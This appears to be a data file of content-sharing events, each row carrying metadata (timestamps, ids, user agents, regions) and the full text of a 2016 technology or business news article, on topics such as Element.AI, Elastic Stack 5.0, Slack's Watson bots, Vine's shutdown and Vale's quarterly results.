1477494625,CONTENT SHARED,-5637143900506554933,-1443636648652872475,-5650650301365919459,Android - Native Mobile App,SP,BR,HTML,https://www.wired.com/2016/10/ai-pioneer-yoshua-bengio-launching-element-ai-deep-learning-incubator/,"AI Pioneer Yoshua Bengio Is Launching Element.AI, a Deep-Learning Incubator","Yoshua Bengio, one of the leading figures behind the rise of deep learning, is launching a Silicon Valley-style startup incubator dedicated to this enormously influential form of artificial intelligence. The incubator, Element.AI, will help build companies from AI research that emerges from the University of Montreal, where Bengio is a professor, and nearby McGill University, and he says this is just part of his efforts to develop an ""AI ecosystem"" in Montreal. Bengio says the Canadian city offers ""the biggest concentration in the world"" of academic researchers exploring deep learning, the breed of AI that now plays such an important role inside the likes of Google, Facebook, and Microsoft. ""Element.AI will help entrepreneurs get started in that high-growth area, with a team of experts-and my help-to steer those companies in the right direction,"" he says. According to Bengio, about 100 researchers are exploring deep learning at the University of Montreal and about 50 others are doing similar work at McGill. Whether this amounts to an unparalleled concentration of researchers is debatable- Europe is also a hotbed of research -but the importance of deep learning is undeniable. Last week, Microsoft researchers unveiled a computing system that recognizes conversational speech as accurately as humans do. When transcribing audio from old telephone conversations, the system makes fewer errors than professional transcribers. This research carries caveats, but it underscores how much deep learning has accelerated AI in the last five years. Using deep neural networks- networks of hardware and software that learn by analyzing vast amounts of data -several tech giants have pushed speech recognition to human-like levels, including Google, IBM, and Baidu. Using similar technology, these and other companies have built systems that accurately recognize faces and objects in photos. And now, deep learning is rapidly reinventing everything from machine translation to the Google search engine . The deep learning movement grew out of a relatively small community of academics, and so many of these researchers have now funneled into the tech sector. One of the movement's founding fathers, Geoff Hinton, works for Google. Another pioneer, Yann LeCun, runs the AI lab at Facebook. And in recent years, the giants of Silicon Valley have acquired one deep learning startup after another. Most notably, Google now owns DeepMind, the London-based think tank that recently used deep learning and other technologies to crack the ancient game of Go . Hinton, LeCun, and Bengio are the three people most responsible for nurturing deep learning through 1980s, '90s, and early 2000s when few others saw its potential. But Bengio hasn't followed the other two into the private sector. Microsoft AI researcher XD Huang calls him ""a great educator,"" and that's typically how the deep learning community describes him. That said, Bengio is an advisor to IBM, and with Element.AI, he's creating a pipeline through which AI research can flow into the commercial world. This is significant because deep learning talent remains relatively rare. Silicon Valley's biggest players are engaged in an arms race for such talent that extends well beyond the usual fight for engineers. The enormity of the arms race was highlighted last year when OpenAI, a startup funded by Elon Musk and others, lured several key AI researchers away from Google and Facebook . It's also important that Bengio is building an incubator-something along the lines of Y Combinator-because this can address the gap that often exists between expertise in AI and the know-how needed to build a company or product. ""A lot of technologists, particularly in deep learning, are very skilled at constructing powerful algorithms but don't always know how to use them to solve real world problems,"" says Chris Nicholson, the founder of a deep learning startup called Skymind. ""These very skilled technologists need a bit a guidance."" For researchers given the right guidance, the market for their skills is enormous. Deep learning is now technology that every big company needs. And there are only so many researchers to go around.",en
1477497746,CONTENT SHARED,5847042211895226591,-6786856227257648356,-9157637981906058578,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36",MG,BR,HTML,https://www.elastic.co/blog/elastic-stack-5-0-0-released,Elastic Stack 5.0.0 Released,"In February of 2016, following Elastic{ON} 16, I wrote a post titled Heya, Elastic Stack and X-Pack . Today, after almost a year of substantial effort, including 5 Alphas, 1 Beta, and 1 Release Candidate we are pleased to announce the GA release of the Elastic Stack. And, importantly, it is available - today - on Elastic Cloud . If you want hosted Elasticsearch and Kibana there is no other place to start with the most recent code. We are committed to making Elastic Cloud the best place to run hosted Elasticsearch. In fact, we even made the Release Candidate available on cloud for testing purposes. Our team is celebrating today. I hope you join us. The GA release is available today. Join the Elastic Team for a live virtual event on November 3 to learn more about the release and ask the creators questions (AMA style). Register now! Before exploring the release in detail, I want to take the opportunity to reflect on what has brought us to this point. Our Community During the recent Elastic{ON} Tour, I have begun each session discussing a brief history of the last several years. This session culminates in the announcement that we have reached a combined 75 Million downloads. When I first began the project, I hoped for widespread adoption. But the passion and fervor of our community continues to delight and amaze me. Pioneer Program With that in mind, I want to share the results of the Pioneer Program . The program began with a simple premise. Your usage of the Elastic Stack is of the utmost import in informing our development as well as ensuring we release the highest quality product available. I am pleased to say that the community has filed 146 issues since the first Alpha release in April. Our community is one of our most valued assets at Elastic. In fact, one of the most discussed changes in this release was the name ""Elastic Stack"". The Elastic Stack But Elastic Stack is more than just a name. When we began this release cycle we committed to developing, building, testing, and releasing the entirety of the Stack together. This is important, internally, to ensure compatibility. And, for you, it helps speed deployment, decrease version confusion, and make it easier for developers to add capabilities across the entirety of the Elastic Stack. A Feature Tour When I began this post, I intended to provide an overview of key features in each product. But, it was hard to know where to begin and where to stop. Each of our team and tech leads have created a post that discusses the features specific to their product. And there is no one better suited to tell the story than them. I am, particularly, excited about a few items but rather than enumerate in detail, I will provide a brief overview and encourage you to read the detail posts for each product. Ingest Node - Ingest Node is an Elasticsearch node type enabling some data enrichment capabilities like grok, geoip, date, and other basic event manipulation options at index (or re-index) time. Pipelines are constructed with processors, and accessed through the REST API by suffixing a query parameter ""?pipeline=x"" . The ability to add pre-processing to documents, natively in Elasticsearch, prior to indexing allows for a variety of creative ingest deployments. This doesn't replace Logstash. This doesn't remove the need for Beats, this just allows greater flexibility in designing your ingest architecture. Elasticsearch Performance - Benchmarks tend to have an agenda...especially competitive benchmarks. With that in mind, we have spent substantial effort comparing 5.0.0 to prior releases. This data is available to you. This data is what we inspect when we want to ensure that we are doing the right things with performance and we are doing so in public to work towards preventing the secrecy, and doubt, that are associated with benchmark numbers. In fact, not only are the results available but we also document our hardware configuration, we have open sourced the tooling (called Rally ) and the benchmarks themselves ( Rally-Tracks ). Metricbeat - Metricbeat replaces Topbeat as the primary tool for collecting metrics in the Elastic stack. Like Topbeat, Metricbeat collects ""top"" like statistics about host and per process resources (CPU, memory, disk, network). Unlike Topbeat, Metricbeat also collects metrics from systems such as Apache, HAProxy, MongoDB, MySQL, Nginx, PostgreSQL, Redis, or Zookeeper, with more to come in the near future. Logstash Monitoring APIs - A new monitoring feature provides runtime visibility into the Logstash pipeline and its plugins. This component collects various kinds of operational metrics while Logstash processes your data, and all of this information can be queried using simple APIs. Timelion - After being introduced as a {Re}search project, Timelion is now natively available in Kibana core. Timelion provides a query DSL and visualizations that let you explore your data over time. This is but a sample, I've left out BKD trees, scaled_float and half_float , the immense effort put into Elasticsearch Resiliency , the eye-meltingly beautiful redesign of Kibana (we never knew how much we hated borders until we removed them), Kafka output in Beats, and so much more. This is a massive release. Reading the individual posts is a must to begin to understand the scope of improvement. X-Pack At Elastic we loved extensions. So much so that we built them and gave them interesting names. Shield, Marvel, and Watcher all described individual closed source features that didn't take away for open source capability but were additive for our customers. Unfortunately, as the range of these features grew to include Graph and Reporting, the install process became difficult and, at times, quite confusing. Say Heya to X-Pack! One pack that adds security, alerting, monitoring & management, reporting, and graph capabilities to the Elastic Stack. Our engineering process for 5.0 wasn't limited to the Elastic Stack, but we've also extended X-Pack by adding: Management & Monitoring UIs to Kibana Security UIs to Kibana for creating both users and roles Greatly simplified the installation process X-Pack is available to trial and has both commercial and free (Basic) license options. We are particularly excited to make some X-Pack features available for free and details are available on our Subscriptions page. In Closing I am in awe of the effort that went into this release, the involvement from our community and customers, and the groundwork that this sets for future releases. As always, the best way to understand a release is to experience it.",en
1477512360,CONTENT SHARED,6669026579073415958,-1032019229384696495,7952917897813063409,Android - Native Mobile App,NY,US,HTML,http://www.wired.co.uk/article/ibm-watson-is-about-to-make-slack-smarter,IBM Watson is about to make Slack's chat bot smarter,"Slack's attempts at small talk are about to get a whole lot better - it's just been announced the cloud-based workplace messaging system will incorporate IBM Watson's smarts to its own bots, and those built by its ever-growing pool of outside developers. The coworking platform, which has just reached four million daily active users, was designed as a means for better collaboration and communication at work. However, it has opened up its software to outside businesses, leading to a directory of more than 400 Slack-related apps. These add-ons provide Slack tools like lists, or bots tailored for specific purposes. Feeling down? Your next therapy session could be on Slack There is even an entire section dedicated to health, as WIRED writer Rowland Manthorpe discovered when he sought out a therapist from TalkLife Connect on the platform. The introduction of these kinds of tools partially explains Slack's rapid growth - Slack had three million users in May. And incorporating IBM's AI into the system should speed up some of that ongoing development. Slackbot will receive the first AI-powered update. It hopefully means that aside from its efforts at humour, it will be able to assist users on a daily basis with various small tasks. Slack's own IT and network operations will also get a first look - the result, according to a release from Slack, will be that customers experiencing technical difficulties can solve the issue using a bot that ""centralises troubleshooting in one channel"". Developers will then be able to access Watson's Conversation and speech APIs, along with the knowledge garnered from developing the new and improved Slackbot and troubleshooting tools. IBM will share a Botkit Watson plugin on Github, which allows Watson Conversation to communicate directly with Slack and its apps, and IBM and Slack will launch an Application Starter Kit for developers. ""Slack and IBM share the same vision for how AI can transform workplace efficiency, and we recognise the important role developers are playing as they tap into cognitive technology to improve this part of our lives,"" David Kenny, general manager, IBM Watson, said. ""By combining Slack's digital workplace capabilities and Watson's cognitive computing power, one of our first steps is to make it easier for developers to build cognitive-enabled bots and solutions for the Slack platform. From there, we think there will be many more ways we can collaborate and help propel productivity in new ways."" Slack co-founder Stewart Butterfield said that thanks to the number of collaborators the platform has attracted, ""the degree of leverage we can gain from enhanced cognitive capabilities becomes massive"". ""We want Slack to become better and smarter the more you use it. We want to make it simpler for people to keep up with the most important conversations and to supercharge their ability to find fast answers."" Some of Watson's most high-profile endeavours have included medical research (it has diagnosed cancer better than a human and wants to find out why Italians live so long ), but also more quirky pieces of work like the film trailer it created for Morgan . Enterprise, however, has been one of its core focuses. IBM wants to use Watson to turn 25,000 offices into smart buildings and the cloud-based version of the supercomputer has been used by CitiGroup, GlaxoSmithKline, universities and more.",en
1477564582,CONTENT SHARED,5258604889412591249,-1443636648652872475,6803419033714154168,Android - Native Mobile App,SP,BR,HTML,https://hbr.org/2016/10/machine-learning-is-no-longer-just-for-experts,Machine Learning Is No Longer Just for Experts,"If you're not using deep learning already, you should be. That was the message from legendary Google engineer Jeff Dean at the end of his keynote earlier this year at a conference on web search and data mining. Dean was referring to the rapid increase in machine learning algorithms' accuracy, driven by recent progress in deep learning, and the still untapped potential of these improved algorithms to change the world we live in and the products we build. But breakthroughs in deep learning aren't the only reason this is a big moment for machine learning. Just as important is that over the last five years, machine learning has become far more accessible to nonexperts, opening up access to a vast group of people. For most software developers, there have historically been many barriers to entry in machine learning, most notably software libraries designed more for academic researchers than for software engineers as well as a lack of sufficient data. With massive increases in the data being generated and stored by many applications, though, the set of companies with data sets on which machine learning algorithms could be applied has significantly expanded. In tandem, the last few years have seen a proliferation of cutting-edge, commercially usable machine learning frameworks, including the highly successful scikit-learn Python library and well-publicized releases of libraries like Tensorflow by Google and CNTK by Microsoft Research. The last two years have also seen the major cloud providers Amazon Web Services and Google Cloud Services release machine learning-specific services - both Machine Learning as a Service platforms and graphics processor unit machines optimized for machine learning work. The net effect of these new technologies is that a person interested in using machine learning need not understand the science of deep learning algorithms in order to experiment with cutting-edge techniques. Tutorials and public code exist for applications as diverse as AI-driven art generation , language translation , and automated image captioning . The accessibility of this code creates a virtuous cycle. Use by nonexperts creates even more demand for easier-to-use systems and uncovers new applications of machine learning, which inspires further research and development by experts. And these new technologies affect who works in machine learning as well. When hiring into applied machine learning positions, exceptional quantitative skills are critical, but direct education in machine learning itself has become less important. In many ways, this change in accessibility mimics the progression we've seen in software development as a whole. Over the last 50 years, software development has gradually migrated from ""low-level"" languages - highly technical languages that closely relate to a computer's underlying architecture - to high-level languages with significantly lower barriers to entry. Similarly, software deployment has migrated from hosted machines and data centers to cloud-based services, with massive decreases in the time and capital required to deploy a new system. These changes have not simply made software developers more efficient; they have allowed a much broader set of people to develop software and start software companies. Software bootcamps now train working engineers in a matter of months, and startups can turn ideas into products in a few development cycles. All of that is not to say, of course, that there's no place for experts - as in software engineering, untold amounts of scientific progress have yet to be made in machine learning. But for the first time in history it's possible, for example, for a person with knowledge of programming but no machine learning experience to create in one afternoon a neural network that can read handwritten digits. Try it for yourself.",en
1477572217,CONTENT SHARED,393734797767236089,-1251984896177895077,-3411758262273298934,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",MG,BR,HTML,http://jcrs.uol.com.br/_conteudo/2016/10/economia/528401-vale-reverte-prejuizo-e-tem-lucro-de-r-1-8-bilhao-no-3-trimestre.html,"Vale reverte prejuízo e tem lucro de R$ 1,8 bilhão no 3º trimestre","Investimentos da mineradora no período caíram 33% AGÊNCIA VALE/DIVULGAÇÃO/JC A Vale apresentou um lucro líquido de R$ 1,842 bilhão no terceiro trimestre deste ano, revertendo, dessa forma, prejuízo de R$ 6,6 bilhões no mesmo intervalo do ano passado, no demonstrativo financeiro em reais. Uma das razões foram melhores preços das commodities. Em relação ao segundo trimestre do ano, entretanto, o lucro foi 48% menor, tendo em vista que no mesmo intervalo do ano passado a companhia teve um impulso em seu resultado devido a variação cambial. O Ebitda (juros antes de impostos, depreciação e amortização) foi de R$ 9,829 bilhões no intervalo de julho a setembro deste ano, aumento de 44% na relação anual e de 18% na trimestral. ""O resultado da Vale neste trimestre foi 'limpo'. Tivemos um excelente resultado operacional e forte geração de caixa"", frisou o diretor-Executivo de Finanças e Relação com Investidores da mineradora Luciano Siani, em vídeo disponibilizado no site da companhia. ""Não tivemos nesse trimestre nenhum impacto de variação cambial e de provisões, sem efeitos extraordinários"", concluiu. A receita operacional líquida no terceiro trimestre ficou em R$ 23,772 bilhões, aumento de 2% na relação anual e também na trimestral. O lucro da companhia veio abaixo das expectativas de analistas, mas tanto o Ebitda quanto a receita vieram em linha. Focada em diminuir seu endividamento, a dívida líquida da Vale era de US$ 25,965 bilhões no fim de setembro, representando um aumento de 7% na relação anual, mas uma queda de 6% na base comparativa trimestral. Siani destacou que a Vale vem mostrando fortalecimento do seu balanço. Os investimentos da Vale no terceiro trimestre do ano caíram 33% e foram a US$ 1,257 bilhões. Em relação ao segundo trimestre houve queda de 8%. No acumulado do ano até setembro os investimentos chegaram a US$ 4,074 bilhões, diminuição de 34% ante o observado no mesmo período de 2014. A companhia vem revisando sua estimativa de investimento para o ano. A última mudança ocorreu em setembro, quando informou ao mercado que planejava investir US$ 4,5 bilhões, abaixo dos US$ 5,8 bilhões previstos para este ano. Ainda com essa perspectiva, a companhia divulgou na semana passada, quando publicou seu relatório de produção, que havia reduzido mais uma vez sua estimativa de produção de minério de ferro para 2017 para ficar entre 360 milhões de toneladas e 380 milhões de toneladas.",pt
1477572285,CONTENT REMOVED,393734797767236089,-1251984896177895077,-3411758262273298934,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",MG,BR,HTML,http://jcrs.uol.com.br/_conteudo/2016/10/economia/528401-vale-reverte-prejuizo-e-tem-lucro-de-r-1-8-bilhao-no-3-trimestre.html,"Vale reverte prejuízo e tem lucro de R$ 1,8 bilhão no 3º trimestre","Investimentos da mineradora no período caíram 33% AGÊNCIA VALE/DIVULGAÇÃO/JC A Vale apresentou um lucro líquido de R$ 1,842 bilhão no terceiro trimestre deste ano, revertendo, dessa forma, prejuízo de R$ 6,6 bilhões no mesmo intervalo do ano passado, no demonstrativo financeiro em reais. Uma das razões foram melhores preços das commodities. Em relação ao segundo trimestre do ano, entretanto, o lucro foi 48% menor, tendo em vista que no mesmo intervalo do ano passado a companhia teve um impulso em seu resultado devido a variação cambial. O Ebitda (juros antes de impostos, depreciação e amortização) foi de R$ 9,829 bilhões no intervalo de julho a setembro deste ano, aumento de 44% na relação anual e de 18% na trimestral. ""O resultado da Vale neste trimestre foi 'limpo'. Tivemos um excelente resultado operacional e forte geração de caixa"", frisou o diretor-Executivo de Finanças e Relação com Investidores da mineradora Luciano Siani, em vídeo disponibilizado no site da companhia. ""Não tivemos nesse trimestre nenhum impacto de variação cambial e de provisões, sem efeitos extraordinários"", concluiu. A receita operacional líquida no terceiro trimestre ficou em R$ 23,772 bilhões, aumento de 2% na relação anual e também na trimestral. O lucro da companhia veio abaixo das expectativas de analistas, mas tanto o Ebitda quanto a receita vieram em linha. Focada em diminuir seu endividamento, a dívida líquida da Vale era de US$ 25,965 bilhões no fim de setembro, representando um aumento de 7% na relação anual, mas uma queda de 6% na base comparativa trimestral. Siani destacou que a Vale vem mostrando fortalecimento do seu balanço. Os investimentos da Vale no terceiro trimestre do ano caíram 33% e foram a US$ 1,257 bilhões. Em relação ao segundo trimestre houve queda de 8%. No acumulado do ano até setembro os investimentos chegaram a US$ 4,074 bilhões, diminuição de 34% ante o observado no mesmo período de 2014. A companhia vem revisando sua estimativa de investimento para o ano. A última mudança ocorreu em setembro, quando informou ao mercado que planejava investir US$ 4,5 bilhões, abaixo dos US$ 5,8 bilhões previstos para este ano. Ainda com essa perspectiva, a companhia divulgou na semana passada, quando publicou seu relatório de produção, que havia reduzido mais uma vez sua estimativa de produção de minério de ferro para 2017 para ficar entre 360 milhões de toneladas e 380 milhões de toneladas.",pt
1477572325,CONTENT SHARED,-5011709367955107239,-1251984896177895077,-3411758262273298934,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",MG,BR,HTML,http://jcrs.uol.com.br/_conteudo/2016/10/economia/528401-vale-reverte-prejuizo-e-tem-lucro-de-r-1-8-bilhao-no-3-trimestre.html,"Vale reverte prejuízo e tem lucro de R$ 1,8 bilhão no 3º trimestre","Investimentos da mineradora no período caíram 33% AGÊNCIA VALE/DIVULGAÇÃO/JC A Vale apresentou um lucro líquido de R$ 1,842 bilhão no terceiro trimestre deste ano, revertendo, dessa forma, prejuízo de R$ 6,6 bilhões no mesmo intervalo do ano passado, no demonstrativo financeiro em reais. Uma das razões foram melhores preços das commodities. Em relação ao segundo trimestre do ano, entretanto, o lucro foi 48% menor, tendo em vista que no mesmo intervalo do ano passado a companhia teve um impulso em seu resultado devido a variação cambial. O Ebitda (juros antes de impostos, depreciação e amortização) foi de R$ 9,829 bilhões no intervalo de julho a setembro deste ano, aumento de 44% na relação anual e de 18% na trimestral. ""O resultado da Vale neste trimestre foi 'limpo'. Tivemos um excelente resultado operacional e forte geração de caixa"", frisou o diretor-Executivo de Finanças e Relação com Investidores da mineradora Luciano Siani, em vídeo disponibilizado no site da companhia. ""Não tivemos nesse trimestre nenhum impacto de variação cambial e de provisões, sem efeitos extraordinários"", concluiu. A receita operacional líquida no terceiro trimestre ficou em R$ 23,772 bilhões, aumento de 2% na relação anual e também na trimestral. O lucro da companhia veio abaixo das expectativas de analistas, mas tanto o Ebitda quanto a receita vieram em linha. Focada em diminuir seu endividamento, a dívida líquida da Vale era de US$ 25,965 bilhões no fim de setembro, representando um aumento de 7% na relação anual, mas uma queda de 6% na base comparativa trimestral. Siani destacou que a Vale vem mostrando fortalecimento do seu balanço. Os investimentos da Vale no terceiro trimestre do ano caíram 33% e foram a US$ 1,257 bilhões. Em relação ao segundo trimestre houve queda de 8%. No acumulado do ano até setembro os investimentos chegaram a US$ 4,074 bilhões, diminuição de 34% ante o observado no mesmo período de 2014. A companhia vem revisando sua estimativa de investimento para o ano. A última mudança ocorreu em setembro, quando informou ao mercado que planejava investir US$ 4,5 bilhões, abaixo dos US$ 5,8 bilhões previstos para este ano. Ainda com essa perspectiva, a companhia divulgou na semana passada, quando publicou seu relatório de produção, que havia reduzido mais uma vez sua estimativa de produção de minério de ferro para 2017 para ficar entre 360 milhões de toneladas e 380 milhões de toneladas.",pt
1477590006,CONTENT SHARED,-6564402465035266866,-8845298781299428018,-326193745783508787,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,https://techcrunch.com/2016/10/27/twitter-is-shutting-down-vine/,Twitter is shutting down Vine,"With Twitter's future still in question following failed attempts at finding an acquirer and the recently announced layoffs of nine percent of its workforce, the company today announced it's shutting down its standalone short-form video app, Vine. According a post , nothing is changing immediately - the website and apps will remain online for the time being, and users will be given a chance to download their Vine videos ahead of its official closure. The announcement was devoid of any explanations about what led to the decision, only stating that Twitter would share more news on its blog and via its official Twitter account in the future regarding what comes next. While the plan is to wind down Vine's operations, Twitter also says the website will remain online because the company thinks ""it's important to still be able to watch all the incredible Vines that have been made."" However, it's unclear at this time how long the site will live on, given Twitter's plans. In recent days, Twitter has been focusing more on its Periscope product and live streaming, rather than the short looping video service Vine, which is home now to a number of creators. It even integrated live streaming into the service , offering to alert users when someone you follow goes live. It has also focused heavily on live TV, via partnerships to stream televised content with organizations like the NFL, Bloomberg, and others. Developing...",en
1477591836,CONTENT SHARED,2314077149264083254,-1443636648652872475,6803419033714154168,Android - Native Mobile App,SP,BR,HTML,https://www.linux.com/news/enterprise-open-source-programs-flourish-tech-and-elsewhere,Enterprise Open Source Programs Flourish -- In Tech and Elsewhere,"If you cycled the clock back about 15 years and surveyed the prevailing beliefs about open source technology at the time, you would find nowhere near the volume of welcome for it that we see today. As a classic example, The Register reported all the way back in 2001 that former CEO of Microsoft Steve Ballmer made the following famous statement in a Chicago Sun-Times interview: ""Linux is a cancer that attaches itself in an intellectual property sense to everything it touches."" Fast-forward to today, though, and not only has Microsoft been actively contributing to and advancing Linux, but countless organizations have rolled out professional, in-house programs focused on advancing open source and encouraging its adoption. Some of the companies doing so may surprise you. Here is a brief overview of these programs at companies that are all household names. Netflix Tests, Netflix Contributes. Lots of people tune in to watch Netflix on a regular basis, but how often do they visit the company's Open Source Software Center ? Netflix has contributed a slew of very useful tools and applications to the open source community, ranging from machine learning and orchestration applications to that run on its platform. Engineers at the company announce when new tools are open sourced, and many of them have been tested and hardened at scale by Netflix for years. Don't Count Out Telecoms. In the telecom arena, Ericsson regularly contributes projects to the open source community and is a champion of several key open source initiatives. You can browse through the company's open source hub . The company is also one of the most active telecom-focused participants in the effort to advance open NFV and other open technologies that can eliminate historically proprietary components in telecom technology stacks. Ericsson works directly with The Linux Foundation on these efforts, and engineers and developers are encouraged to interface with the open source community. Microsoft Radically Changes Its Tune. Once viewed as an enemy of open source, Microsoft has completely reversed course, partly because embracing open source paves the way to a brighter future for key Microsoft platforms such as Azure. CEO Satya Nadella, has said that nearly a third of the Azure cloud platform is Linux-based. The company has also announced support for the container-friendly CoreOS Linux distribution, and Microsoft's Azure cloud supports CentOS, Oracle Linux, SUSE, Ubuntu, and other flavors of Linux. Microsoft has a growing partnership with Red Hat, and developers at the company are encouraged to participate actively in open initiatives, a number of which you can peruse . Walmart Speaks Open Source? As a matter of fact, Walmart does. The company's Walmart Labs division, located in San Bruno, right down the road from Silicon Valley, has released a slew of open source projects , and now there is a significant new one arriving. is a product of Walmart's migration to a React/Node.js platform. It gives developers templated code to build universal React apps that incorporate modules that developers can leverage to add functionality to Node apps. It's also a key part of how Walmart's site runs, and you can believe that that site runs at scale. Walmart's site has 80 million monthly visitors, loads up to 10,000 requests per second, and includes 15 million items, adding more than one million new items each month -- nothing to shake a stick at. Read about some of the company's open source contributions and programs . Mozilla's Open Mojo. You can always count on Mozilla for an interesting spin on open source. Last year, Mozilla the Mozilla Open Source Support Program (MOSS) - an award program specifically focused on supporting open source and free software. As The VAR Guy notes : ""The Mozilla Foundation has long injected money into the open source ecosystem through partnerships with other projects and grants. But it formalized that mission last year by launching MOSS, which originally focused on supporting open source projects that directly complement or help form the basis for Mozilla's own products."" Now, the company has announced that in the third quarter of this year, MOSS awarded over $300,000 to four projects which it either already supported, or which were in line with the Mozilla mission. The MOSS project is ongoing, and if you have a project that you think might qualify, you can take it to Mozilla. Facebook and Google Play Leapfrog. Facebook and Google have such active internal open source programs, with developers and engineers regularly contributing their inventions to the community, that they frequently leapfrog each other. For example, just as Facebook announced that it open sourced its machine learning system designed for artificial intelligence computing at large scale, Google announced that it open sourced new AI tools . The Google Open Source Programs site is worth checking in on regularly, as is Facebook Open Source . In 2016 alone, Facebook has already open sourced more than 50 projects , many proven and tested internally. Many more organizations have active internal open source programs, and we will follow up with additional coverage of the most notable examples. Get started with open source through The Linux Foundation's Introduction to Linux, Open Source Development, and GIT course.",en
1477594248,CONTENT SHARED,6187300944962737279,-1443636648652872475,6803419033714154168,Android - Native Mobile App,SP,BR,HTML,https://databricks.com/blog/2016/10/27/gpu-acceleration-in-databricks.html,GPU Acceleration in Databricks,"Databricks is adding support for Apache Spark clusters with Graphics Processing Units (GPUs), ready to accelerate Deep Learning workloads ( read press release ). With Spark deployments tuned for GPUs, plus pre-installed libraries and examples, Databricks offers a simple way to leverage GPUs to power image processing, text analysis, and other Machine Learning tasks. Users will benefit from 10x speedups in Deep Learning, automated configuration of GPU machines, and smooth integration with Spark clusters. The feature is available by request , and will be generally available within weeks. Speeding up Machine Learning with GPUs Deep Learning is an extremely powerful tool for modeling data, but it comes at the price of expensive computations. GPUs can drastically lower the cost because they support efficient parallel computation. To demonstrate these benefits, we benchmarked a simple numerical task ( kernel density estimation ). We compared optimized code written in Scala and run on top-of-the-line compute intensive machines in AWS (c3.8xlarge) against standard GPU hardware (g2.2xlarge). Using TensorFlow as the underlying compute library, the code is 3X shorter, and about 4X less expensive (in $ cost) to run on a GPU cluster. More details about achieving this level of performance will be published in a future blog post. Using GPUs in Databricks Databricks' GPU offering provides tight integration with Apache Spark. When you create a GPU cluster in Databricks, we configure the Spark cluster to use GPUs, and we preinstall the libraries required to access the GPU hardware. In addition, we provide scripts that install popular Deep Learning libraries so that you can immediately get started with Deep Learning or other GPU-accelerated tasks. Here are some specifics on our current GPU offering: Amazon EC2 g2.2xlarge (1 GPU) and g2.8xlarge (4 GPUs) instance types. p2 (1-16 GPUs) instance types coming soon. Pre-installed CUDA ® and cuDNN libraries. Support for GPUs on both driver and worker machines in Spark clusters. Simplified installation of Deep Learning libraries, via provided and customizable init scripts. How Databricks integrated Spark with GPUs Apache Spark does not provide out-of-the-box GPU integration. One of the key benefits of using GPUs on Databricks is our work on configuring Spark clusters to utilize GPUs. When you run Spark on Databricks, you will notice a few things that make your life easier: Cluster setup: GPU hardware libraries like CUDA and cuDNN are required for communication with the graphics card on the host machine. Simply downloading and installing these libraries takes time, especially in cloud-based offerings which create and tear down clusters regularly. By providing pre-installed libraries, Databricks reduces cluster setup time (and the EC2 cost of setup) by about 60%. Spark configuration: We configure GPU Spark clusters to prevent contention on GPU devices. Essentially, GPU context switching is expensive, and GPU libraries are generally optimized for running single tasks. Therefore, reducing Spark parallelism per executor results in higher throughput. Cluster management: Databricks provides these capabilities within a secure, containerized environment. We isolate users from each other, and we reuse EC2 instances when you launch a cluster to minimize your cost. Using Deep Learning libraries on Databricks Databricks users may take advantage of many Deep Learning libraries. For example, the above performance benchmark plot used TensorFlow. We have published an open source Spark Package TensorFrames that integrates Spark with TensorFlow. To learn more, check out Tim Hunter's talk slides on TensorFrames . Databricks users can also take advantage of other popular libraries such as Caffe . Our follow-up blog post will dive into more details and tutorials. Getting started Contact us if you want to get started with deep learning on Databricks. We are working on example notebooks showing how to get started with GPU-accelerated Deep Learning on Spark. In the meantime, check out our TensorFrames package and example notebooks from our previous blog post . Sign up for our newsletter and follow us on Twitter to be notified when the next blog in the series comes out in a few weeks! Try Databricks for free. Get started today",en
1477613852,CONTENT SHARED,-4205603734017049464,-5639303336519418445,-8124783404216969481,"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://exame.abril.com.br/tecnologia/uber-se-prepara-para-lancar-servico-de-delivery-no-brasil/,Uber se prepara para lançar serviço de delivery no Brasil,"São Paulo - Uber está se preparando para lançar seu serviço de delivery de comida no Brasil, o UberEATS. Ainda sem data certa, a empresa está montando equipe em solo nacional. Com isso, a companhia bateria de frente com outros e serviços como iFood e Restaurante Web. Uber anunciou uma porção de vagas relacionadas ao serviço na . Entre as vagas abertas estão gerente de parceria para novos e antigos negócios , além de uma vaga para gerente de marketing com foco no serviço. Em setembro, funcionários foram contratados na Cidade do México para trabalhar na expansão do UberEATS. A chegada deste novo serviço ao Brasil faz parte de uma estratégia de foco na América Latina . O Brasil já é o terceiro maior mercado para a empresa, perdendo somente para Estados Unidos e Índia. As duas cidades com maior movimento para Uber ficam na América Latina. A primeira é Cidade do México e a segunda, São Paulo. O serviço de delivery de comida ainda não funciona na América Latina, de acordo com a listagem disponível no site . O aplicativo, no entanto, mostra Bogotá entre as cidades disponíveis . É possível que a capital colombiana seja a primeira cidade latino-americana a receber o UberEATS. Bogotá é uma espécie de laboratório do Uber para produtos que serão aplicados no restante da América Latina. Aqui no Brasil, o aplicativo já está disponível nas lojas da Apple e Google Play (para Android). Apesar disso, dentro da aplicação uma mensagem é exibida afirmando que ainda não é possível fazer pedidos. EXAME.com procurou Uber, que disse não ter novidades relacionadas ao produto no momento.",pt
1477650947,CONTENT SHARED,-6579094253358169934,1895326251577378793,-1447072829508949854,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://www.forbes.com/sites/briansolis/2016/10/17/who-owns-digital-transformation-according-to-a-new-survey-its-the-cmo/,"Who Owns Digital Transformation? According To A New Survey, It's Not The CIO","Digital transformation is one of those terms that seems to mean, well, everything. That's because different groups within organizations are investing in innovative technologies to modernize business operations. Whether it's IT, marketing, CX, HR, service and support, etc., each group, in their own right, is investing in advancement. It's not [...]",en
